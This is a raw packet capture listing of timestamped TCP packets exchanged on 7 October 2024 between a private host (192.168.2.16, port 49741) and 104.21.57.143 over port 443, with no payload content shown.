Oct 7, 2024 20:59:07.107125044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107186079 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.107192993 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107230902 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107290030 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.107321978 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107402086 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.107440948 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107511997 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.107564926 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107651949 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.107739925 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107832909 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.107872009 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.107942104 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.108005047 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108072042 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.108169079 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108263969 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.108263016 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108299017 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108323097 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108345985 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.108396053 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.108408928 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108469009 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108525038 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.108544111 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108568907 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108616114 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108643055 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.108659029 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.108711958 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.161762953 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.161887884 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.161921978 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.161972046 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.162008047 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.162020922 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.162049055 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.162137032 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.162205935 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.162218094 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.162241936 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.162275076 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.162292957 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.162321091 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.162357092 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.185314894 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.185421944 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.186247110 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.186343908 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.186400890 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.186477900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.186505079 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.186573982 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.186600924 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.186666012 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.186690092 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.186779022 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.188940048 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.189043999 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.189055920 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.189120054 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.189136982 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.189208984 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.189276934 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.189347982 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.189419985 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.189506054 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.189598083 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.189682007 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.189693928 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.189752102 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.189888954 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.189980030 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.191070080 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191135883 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191174030 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.191185951 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191214085 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.191252947 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191310883 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.191323996 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191355944 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191416979 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.191430092 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191567898 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191625118 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.191637993 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191706896 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191755056 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191788912 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.191803932 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.191839933 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.242054939 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.244698048 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.244760036 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.244816065 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.244829893 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.244873047 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.244873047 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.244894028 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.244910002 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.244946957 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.244946957 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.244986057 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.244997978 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.245047092 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.268042088 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.268167019 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.268183947 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.268261909 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.268704891 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.268785954 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.268873930 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.268965960 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.271749973 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.271842003 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.271864891 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.271877050 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.271920919 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.271941900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.272134066 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272229910 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272234917 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.272258043 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272303104 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.272461891 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272530079 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.272542000 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272595882 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272656918 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.272670031 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272692919 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272753000 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.272767067 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272818089 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272881031 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.272892952 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.272979975 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.273063898 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.273082972 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.273112059 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.273179054 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.273334980 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.273403883 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.273442984 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.273514986 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.273541927 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.273612976 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.273711920 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.273777008 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.273802996 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.273870945 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.273945093 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.274054050 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.274075985 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.274139881 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.274163008 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.274174929 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.274224043 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.322067022 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.327588081 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.327651978 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.327729940 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.327745914 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.327786922 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.327812910 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.350795031 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.350852013 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.350919008 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.350986004 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.351023912 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.351036072 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.351052999 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.351083994 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.351135015 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.351352930 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.351433039 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.351632118 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.351727962 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.351758957 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.351829052 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.354301929 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.354386091 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.354425907 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.354489088 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.354607105 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.354691029 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.355593920 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.355674982 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.355882883 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.355932951 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.355976105 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.355999947 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356041908 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356062889 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356065035 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356091022 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356125116 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356163025 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356266975 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356333971 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356409073 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356472969 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356611013 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356694937 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356695890 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356734037 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356751919 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356753111 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356781960 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356789112 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356841087 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.356883049 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.356939077 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.410084963 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.410145044 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.410238981 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.410311937 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.410350084 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.410377026 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.410731077 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.410810947 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.410824060 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.410851955 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.410890102 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.410913944 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.434926987 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.435012102 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.435058117 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.435072899 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.435120106 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.435141087 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.437346935 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.437417984 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.437433958 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.437447071 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.437480927 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.437505007 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.437594891 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.437688112 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.437701941 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.437772989 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.437796116 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.437871933 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.437977076 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.438055038 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.438163042 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.438229084 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.438304901 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.438375950 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.438463926 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.438527107 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.438576937 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.438637018 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.438663960 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.438740969 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.442512989 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.442599058 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.442611933 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.442641973 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.442723989 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.442735910 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.442780972 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.442847013 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.442859888 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.442970037 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.443030119 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.443042040 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.443078041 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.443136930 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.443150043 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.494350910 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.494476080 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.494491100 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.494560957 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.494573116 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.494589090 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.494640112 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.494664907 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.494699001 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.494735003 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.494755030 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.494779110 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.494802952 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.518275976 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.518379927 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.518394947 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.518454075 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.518462896 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.518481970 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.518538952 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.518577099 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.518640995 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.519761086 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.519846916 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.519861937 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.519938946 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520015001 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520036936 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520061016 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520128012 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520140886 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520205021 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520273924 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520287991 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520347118 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520350933 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520373106 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520423889 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520474911 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520536900 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520567894 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520631075 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520705938 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520773888 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520817041 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.520895004 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.520936012 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521018982 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.521025896 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521048069 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521106005 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.521158934 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521219015 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.521253109 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521332026 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.521337986 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521379948 CEST	443	49741	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:07.521409035 CEST	49741	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:07.521444082 CEST	49741	443	192.168.2.16	104.21.57.143
